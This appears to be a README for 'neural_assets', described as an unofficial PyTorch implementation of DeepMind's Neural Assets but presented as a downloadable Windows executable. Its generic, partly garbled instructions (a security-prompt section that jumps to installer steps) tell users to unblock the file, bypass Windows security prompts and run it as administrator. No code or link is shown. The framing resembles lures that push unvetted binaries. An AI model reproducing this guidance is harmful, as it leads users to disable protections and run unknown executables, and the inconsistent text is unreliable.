⬇️ Download / Visit the page

📦 What this app does

neural_assets is a Windows app for working with Neural Assets from Google DeepMind. It helps you load the project, view results, and run the main tools from one place.

Use it if you want to:

  • open the app on Windows
  • run the Neural Assets workflow
  • view output files in a simple way
  • avoid manual setup where possible

🖥️ Windows requirements

Before you start, make sure your PC has:

  • Windows 10 or Windows 11
  • At least 8 GB of RAM
  • 5 GB of free disk space
  • a stable internet connection for the download
  • a modern Intel or AMD processor

For best results:

  • keep Windows up to date
  • close large apps before you run neural_assets
  • use a local user account with normal file access

Follow these steps:

  1. Open the folder where the file was saved.
  2. If the file is a ZIP file, right-click it and choose Extract All.
  3. Pick a folder for the extracted files.
  4. Open the new folder after extraction.
  5. Find the app file or launcher.
  6. Double-click the app to start it.

If Windows shows a security prompt:

  2. Choose Next on each screen.
  3. Keep the default install path unless you have a reason to change it.
  4. Click Install.
  5. Click Finish when setup ends.

🚀 First run

When you open neural_assets for the first time:

  1. Let Windows finish any setup steps.
  2. Wait for the main window to appear.
  3. Check that the app opens without errors.
  4. If the app asks for a data folder, choose a folder with enough free space.
  5. If it asks for model files or project files, place them in the path shown by the app.

First launch can take a little longer than later runs. That is normal.

🎯 How to use neural_assets

The app is built for a simple workflow.

Typical use looks like this:

  1. Start the app.
  2. Load the project or asset file.
  3. Choose the action you want.
  4. Run the process.
  5. Review the output in the results folder or in the app window.

Common controls you may see:

  • Load for opening a file
  • Run for starting a task
  • Stop for ending a task
  • Output for viewing results
  • Settings for changing the app path or data folder

If you are not sure what to click:

  • start with the main button in the center of the window
  • look for labels that mention input, output, or project
  • keep the default settings at first

🗂️ File layout

After setup, you may see files like these:

  • app.exe or a similar launcher
  • assets folder
  • data folder
  • output folder
  • models folder
  • README file

What they are for:

  • launcher: starts the app
  • assets: stores project content
  • data: stores input files and app data
  • output: stores results
  • models: stores trained model files

Do not move files around unless the app tells you to. Some tools look for files in a fixed path.

⚙️ Basic settings

You may want to check these settings after the first start:

  • language
  • input folder
  • output folder
  • GPU use
  • memory limit
  • file format

If you have a newer graphics card, the app may use it for faster work. If you run into errors, try the default settings first.

🧩 Common issues

The app does not open

Try this:

  1. Right-click the file.
  2. Choose Run as administrator.
  3. Check that the file was fully downloaded.
  4. Make sure the app is not still inside a ZIP file.
  5. Restart Windows and try again.

Windows says the file is blocked

Try this:

  1. Right-click the file.
  2. Open Properties.
  3. Look for Unblock.
  4. Select it if you see it.
  5. Click OK.

The app opens, but nothing loads

Try this:

  1. Check that your input file is in the right folder.
  2. Make sure the file name has no unusual characters.
  3. Use a short folder path like C:\NeuralAssets.
  4. Close the app and open it again.

The app feels slow

Try this:

  • close other apps
  • use a folder on your main drive
  • keep large files on an SSD
  • reduce the file size you load first

You see a missing file error

Try this:

  1. Check that all downloaded files are in the same folder.
  2. Re-extract the ZIP file if needed.
  3. Make sure you did not rename required folders.
  4. Download the file again if any part is missing.

📁 Recommended folder setup

A simple folder layout can help avoid path issues:

  • C:\NeuralAssets\app
  • C:\NeuralAssets\data
  • C:\NeuralAssets\output

This keeps the app files, input files, and results separate. It also makes it easier to find your work later.

🔐 Safe use tips

Keep your files organized:

  • use one folder for the app
  • use one folder for inputs
  • use one folder for outputs
  • avoid moving files while the app is running

If you plan to test different projects:

  • make a copy of your input folder first
  • keep the original files untouched
  • save each run in a new output folder

📌 What to expect

This project is an unofficial PyTorch implementation of Neural Assets from Google DeepMind. It is meant for local use on Windows by end users who want a direct way to run the software and review results.

You can expect:

  • a local desktop workflow
  • project and asset file handling
  • output generation
  • repeatable runs with the same inputs

🧭 Suggested first test

If you want to check that everything works:

  1. Open the app.
  2. Load a small test file.
  3. Run the default process.
  4. Wait for the task to finish.
  5. Open the output folder and check the result.

Start with a small file. It is easier to confirm that the app is working before you use larger data.

📄 Version and updates

When a new version appears:

  • download the latest release from the same page
  • back up your current data and output folders
  • replace only the app files if the update notes say to do that
  • keep your custom settings if the app supports them

If you use the app often, it helps to save your settings before updating.
